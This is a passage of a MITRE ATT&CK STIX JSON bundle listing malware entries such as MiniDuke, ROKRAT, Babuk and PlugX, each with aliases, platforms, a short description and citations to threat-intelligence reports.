(POSHSPY). Retrieved April 5, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html"}],"modified":"2020-03-30T17:16:53.396Z","name":"POSHSPY","description":"[POSHSPY](https://attack.mitre.org/software/S0150) is a backdoor that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors. (Citation: FireEye POSHSPY April 2017)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["MiniDuke"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5e7ef1dc-7fb6-4913-ac75-e06113b59e0c","type":"malware","created":"2017-05-31T21:32:36.919Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0051","external_id":"S0051"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.","url":"https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"}],"modified":"2021-10-14T21:21:51.872Z","name":"MiniDuke","description":"[MiniDuke](https://attack.mitre.org/software/S0051) is malware that was used by [APT29](https://attack.mitre.org/groups/G0016) from 2010 to 2015. The [MiniDuke](https://attack.mitre.org/software/S0051) toolset consists of multiple downloader and backdoor components. The loader has been used with other [MiniDuke](https://attack.mitre.org/software/S0051) components as well as in conjunction with [CosmicDuke](https://attack.mitre.org/software/S0050) and [PinchDuke](https://attack.mitre.org/software/S0048). (Citation: F-Secure The Dukes)","x_mitre_version":"1.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["HyperBro"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5e814485-012d-423d-b769-026bfed0f451","type":"malware","created":"2019-07-09T17:42:44.777Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0398","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0398"},{"source_name":"HyperBro","description":"(Citation: Unit42 Emissary Panda May 2019)"},{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"},{"source_name":"Securelist LuckyMouse June 2018","description":"Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.","url":"https://securelist.com/luckymouse-hits-national-data-center/86083/"},{"source_name":"Hacker News LuckyMouse June 2018","description":"Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.","url":"https://thehackernews.com/2018/06/chinese-watering-hole-attack.html"}],"modified":"2021-11-29T21:48:51.029Z","name":"HyperBro","description":"[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027).(Citation: Unit42 Emissary Panda May 2019)(Citation: Securelist LuckyMouse June 2018)(Citation: Hacker News LuckyMouse June 2018)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Linux","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Cybereason Nocturnus, @nocturnus"],"x_mitre_aliases":["Anchor","Anchor_DNS"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5f1d4579-4e8f-48e7-860e-2da773ae432e","type":"malware","created":"2020-09-10T15:54:21.805Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0504","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0504"},{"source_name":"Anchor_DNS","description":"(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)"},{"source_name":"Cyberreason Anchor December 2019","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020."},{"source_name":"Medium Anchor DNS July 2020","url":"https://medium.com/stage-2-security/anchor-dns-malware-family-goes-cross-platform-d807ba13ca30","description":"Grange, W. (2020, July 13). Anchor_dns malware goes cross platform. Retrieved September 10, 2020."}],"modified":"2021-12-15T20:56:24.628Z","name":"Anchor","description":"[Anchor](https://attack.mitre.org/software/S0504) is one of a family of backdoor malware that has been used in conjunction with [TrickBot](https://attack.mitre.org/software/S0266) on selected high profile targets since at least 2018.(Citation: Cyberreason Anchor December 2019)(Citation: Medium Anchor DNS July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Pteranodon","Pterodo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd","type":"malware","created":"2017-05-31T21:33:26.084Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0147","external_id":"S0147"},{"source_name":"Pterodo","description":"(Citation: Symantec Shuckworm January 2022)(Citation: Secureworks IRON TILDEN Profile)"},{"source_name":"Palo Alto Gamaredon Feb 2017","description":"Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.","url":"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"},{"source_name":"Symantec Shuckworm January 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine","description":"Symantec. (2022, January 31). Shuckworm Continues Cyber-Espionage Attacks Against Ukraine. Retrieved February 17, 2022."},{"source_name":"Secureworks IRON TILDEN Profile","url":"https://www.secureworks.com/research/threat-profiles/iron-tilden","description":"Secureworks CTU. (n.d.). IRON TILDEN. Retrieved February 24, 2022."}],"modified":"2022-02-24T21:03:18.159Z","name":"Pteranodon","description":"[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)","x_mitre_version":"2.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["ROKRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0240","external_id":"S0240"},{"source_name":"ROKRAT","description":"(Citation: Talos ROKRAT 2) (Citation: Talos Group123)"},{"url":"https://blog.talosintelligence.com/2017/04/introducing-rokrat.html","description":"Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.","source_name":"Talos ROKRAT"},{"url":"https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html","description":"Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.","source_name":"Talos Group123"},{"source_name":"Volexity InkySquid RokRAT August 2021","url":"https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/","description":"Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021."},{"url":"https://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html","description":"Mercer, W., Rascagneres, P. (2017, November 28). ROKRAT Reloaded. Retrieved May 21, 2018.","source_name":"Talos ROKRAT 2"}],"modified":"2022-03-30T20:40:21.212Z","name":"ROKRAT","description":"[ROKRAT](https://attack.mitre.org/software/S0240) is a cloud-based remote access tool (RAT) used by [APT37](https://attack.mitre.org/groups/G0067) to target victims in South Korea. [APT37](https://attack.mitre.org/groups/G0067) has used ROKRAT during several campaigns from 2016 through 2021.(Citation: Talos ROKRAT)(Citation: Talos Group123)(Citation: Volexity InkySquid RokRAT August 2021)","x_mitre_version":"2.3","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["CORESHELL","Sofacy","SOURFACE"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--60c18d06-7b91-4742-bae3-647845cd9d81","type":"malware","created":"2017-05-31T21:33:18.506Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0137","external_id":"S0137"},{"source_name":"CORESHELL","description":"(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)"},{"source_name":"Sofacy","description":"This designation has been used in reporting both to refer to the threat group ([APT28](https://attack.mitre.org/groups/G0007)) and its associated malware.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)"},{"source_name":"SOURFACE","description":"(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)(Citation: Securelist Sofacy Feb 2018)"},{"source_name":"FireEye APT28","description":"FireEye. (2015). APT28: A WINDOW INTO RUSSIA’S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.","url":"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"},{"source_name":"FireEye APT28 January 2017","description":"FireEye iSIGHT Intelligence. (2017, January 11). APT28: At the Center of the Storm. Retrieved January 11, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf"},{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}],"modified":"2020-03-30T15:14:36.623Z","name":"CORESHELL","description":"[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)","x_mitre_version":"2.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["RunningRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--60d50676-459a-47dd-92e9-a827a9fe9c58","type":"malware","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0253","external_id":"S0253"},{"source_name":"RunningRAT","description":"(Citation: McAfee Gold Dragon)"},{"url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/","description":"Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims’ Systems. Retrieved June 6, 2018.","source_name":"McAfee Gold Dragon"}],"modified":"2020-04-21T23:09:31.043Z","name":"RunningRAT","description":"[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Hiroki Nagahama, NEC Corporation","Pooja Natarajan, NEC Corporation India","Manikantan Srinivasan, NEC Corporation India","Daniyal Naeem, BT Security"],"x_mitre_aliases":["Babuk","Babyk","Vasa Locker"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--61c7a91a-0b83-461d-ad32-75d96eed4a09","type":"malware","created":"2021-08-11T17:36:46.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0638","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0638"},{"source_name":"Babyk","description":"(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: Trend Micro Ransomware February 2021)"},{"source_name":"Vasa Locker","description":"(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)"},{"source_name":"Sogeti CERT ESEC Babuk March 2021","url":"https://www.sogeti.com/globalassets/reports/cybersecchronicles_-_babuk.pdf","description":"Sogeti. (2021, March). Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"McAfee Babuk February 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-babuk-ransomware.pdf","description":"Mundo, A. et al. (2021, February). Technical Analysis of Babuk Ransomware. Retrieved August 11, 2021."},{"source_name":"CyberScoop Babuk February 2021","url":"https://www.cyberscoop.com/babuk-ransomware-serco-attack/","description":"Lyngaas, S. (2021, February 4). Meet Babuk, a ransomware attacker blamed for the Serco breach. Retrieved August 11, 2021."},{"source_name":"Trend Micro Ransomware February 2021","url":"https://www.trendmicro.com/en_us/research/21/b/new-in-ransomware.html","description":"Centero, R. et al. (2021, February 5). New in Ransomware: Seth-Locker, Babuk Locker, Maoloa, TeslaCrypt, and CobraLocker. Retrieved August 11, 2021."}],"modified":"2021-10-13T14:29:38.795Z","name":"Babuk","description":"[Babuk](https://attack.mitre.org/software/S0638) is a Ransomware-as-a-service (RaaS) malware that has been used since at least 2021. The operators of [Babuk](https://attack.mitre.org/software/S0638) employ a \"Big Game Hunting\" approach to targeting major enterprises and operate a leak site to post stolen data as part of their extortion scheme.(Citation: Sogeti CERT ESEC Babuk March 2021)(Citation: McAfee Babuk February 2021)(Citation: CyberScoop Babuk February 2021)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["DarkWatchman"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--63686509-069b-4143-99ea-4e59cad6cb2a","created":"2022-01-10T19:43:47.281Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"S0673","url":"https://attack.mitre.org/software/S0673"},{"source_name":"Prevailion DarkWatchman 2021","url":"https://www.prevailion.com/darkwatchman-new-fileless-techniques/","description":"Smith, S., Stafford, M. (2021, December 14). DarkWatchman: A new evolution in fileless techniques. Retrieved January 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)","modified":"2022-04-09T20:12:54.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"DarkWatchman","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Josh Campbell, Cyborg Security, @cyb0rgsecur1ty"],"x_mitre_aliases":["Dyre","Dyzap","Dyreza"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","type":"malware","created":"2017-05-31T21:32:19.746Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0024","external_id":"S0024"},{"source_name":"Dyre","description":"(Citation: Symantec Dyre June 2015)"},{"source_name":"Dyzap","description":"(Citation: Sophos Dyreza April 2015)"},{"source_name":"Dyreza","description":"(Citation: Sophos Dyreza April 2015)"},{"source_name":"Symantec Dyre June 2015","description":"Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"},{"source_name":"Malwarebytes Dyreza November 2015","url":"https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/","description":"hasherezade. (2015, November 4). A Technical Look At Dyreza. Retrieved June 15, 2020."},{"source_name":"Sophos Dyreza April 2015","url":"https://nakedsecurity.sophos.com/2015/04/20/notes-from-sophoslabs-dyreza-the-malware-that-discriminates-against-old-computers/","description":"Ducklin, P. (2015, April 20). Notes from SophosLabs: Dyreza, the malware that discriminates against old computers. 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(2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-03-23T22:18:00.145Z","name":"BlackMould","description":"[BlackMould](https://attack.mitre.org/software/S0564) is a web shell based on [China Chopper](https://attack.mitre.org/software/S0020) for servers running Microsoft IIS. First reported in December 2019, it has been used in malicious campaigns by [GALLIUM](https://attack.mitre.org/groups/G0093) against telecommunication providers.(Citation: Microsoft GALLIUM December 2019)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Javali"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--64122557-5940-4271-9123-25bfc0c693db","type":"malware","created":"2020-11-09T18:32:18.369Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"S0528","source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0528"},{"source_name":"Securelist Brazilian Banking Malware July 2020","url":"https://securelist.com/the-tetrade-brazilian-banking-malware/97779/","description":"GReAT. (2020, July 14). The Tetrade: Brazilian banking malware goes global. Retrieved November 9, 2020."}],"modified":"2020-12-22T21:07:41.508Z","name":"Javali","description":"[Javali](https://attack.mitre.org/software/S0528) is a banking trojan that has targeted Portuguese and Spanish-speaking countries since 2017, primarily focusing on customers of financial institutions in Brazil and Mexico.(Citation: Securelist Brazilian Banking Malware July 2020)","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["BBSRAT"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","type":"malware","created":"2017-05-31T21:33:13.664Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0127","external_id":"S0127"},{"source_name":"Palo Alto Networks BBSRAT","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/"}],"modified":"2020-03-30T14:55:06.553Z","name":"BBSRAT","description":"[BBSRAT](https://attack.mitre.org/software/S0127) is malware with remote access tool functionality that has been used in targeted compromises. (Citation: Palo Alto Networks BBSRAT)","x_mitre_version":"1.2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["PlugX","Thoper","TVT","DestroyRAT","Sogu","Kaba","Korplug"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd","created":"2017-05-31T21:32:15.638Z","x_mitre_version":"3.0","external_references":[{"source_name":"mitre-attack","external_id":"S0013","url":"https://attack.mitre.org/software/S0013"},{"source_name":"DestroyRAT","description":"(Citation: CIRCL PlugX March 2013)"},{"source_name":"Kaba","description":"(Citation: FireEye Clandestine Fox Part 2)"},{"source_name":"PlugX","description":"(Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)"},{"source_name":"Korplug","description":"(Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013)"},{"source_name":"Sogu","description":"(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)"},{"source_name":"Thoper","description":"(Citation: Novetta-Axiom)"},{"source_name":"TVT","description":"(Citation: Novetta-Axiom)"},{"source_name":"CIRCL PlugX March 2013","url":"http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf","description":"Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018."},{"source_name":"Dell TG-3390","url":"https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018."},{"source_name":"New DragonOK","url":"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/","description":"Miller-Osborn, J., Grunzweig, J.. (2015, April). Unit 42 Identifies New DragonOK Backdoor Malware Deployed Against Japanese Targets. Retrieved November 4, 2015."},{"source_name":"Novetta-Axiom","url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014."},{"source_name":"FireEye Clandestine Fox Part 2","url":"https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html","description":"Scott, M.. (2014, June 10). Clandestine Fox, Part Deux. Retrieved January 14, 2016."},{"source_name":"Lastline PlugX Analysis","url":"http://labs.lastline.com/an-analysis-of-plugx","description":"Vasilenko, R. (2013, December 17). An Analysis of PlugX Malware. Retrieved November 24, 2015."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)","modified":"2022-04-15T16:30:28.192Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"PlugX","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Reaver"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--65341f30-bec6-4b1d-8abf-1a5620446c29","type":"malware","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0172","external_id":"S0172"},{"source_name":"Reaver","description":"(Citation: Palo Alto Reaver Nov 2017)"},{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/","description":"Grunzweig, J. and Miller-Osborn, J. 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The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["Bisonal"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"malware","id":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"S0268","url":"https://attack.mitre.org/software/S0268"},{"source_name":"Bisonal","description":"(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)"},{"source_name":"Unit 42 Bisonal July 2018","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/","description":"Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Bisonal](https://attack.mitre.org/software/S0268) is a remote access tool (RAT) that has been used by [Tonto Team](https://attack.mitre.org/groups/G0131) against public and private sector organizations in Russia, South Korea, and Japan since at least December 2010.(Citation: Unit 42 Bisonal July 2018)(Citation: Talos Bisonal Mar 2020)","modified":"2022-04-18T17:18:36.512Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Bisonal","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["S-Type"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","type":"malware","created":"2017-05-31T21:32:55.925Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0085","external_id":"S0085"},{"url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","source_name":"Cylance Dust Storm"}],"modified":"2022-01-19T21:15:21.430Z","name":"S-Type","description":"[S-Type](https://attack.mitre.org/software/S0085) is a backdoor that was used by [Dust Storm](https://attack.mitre.org/groups/G0031) from 2013 to 2014. (Citation: Cylance Dust Storm)","x_mitre_version":"1.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"labels":["malware"],"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"x_mitre_aliases":["SeaDuke","SeaDaddy","SeaDesk"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"malware--67e6d66b-1b82-4699-b47a-e2efb6268d14","type":"malware","created":"2017-05-31T21:32:37.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/software/S0053","external_id":"S0053"},{"source_name":"F-Secure The Dukes","description":"F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved 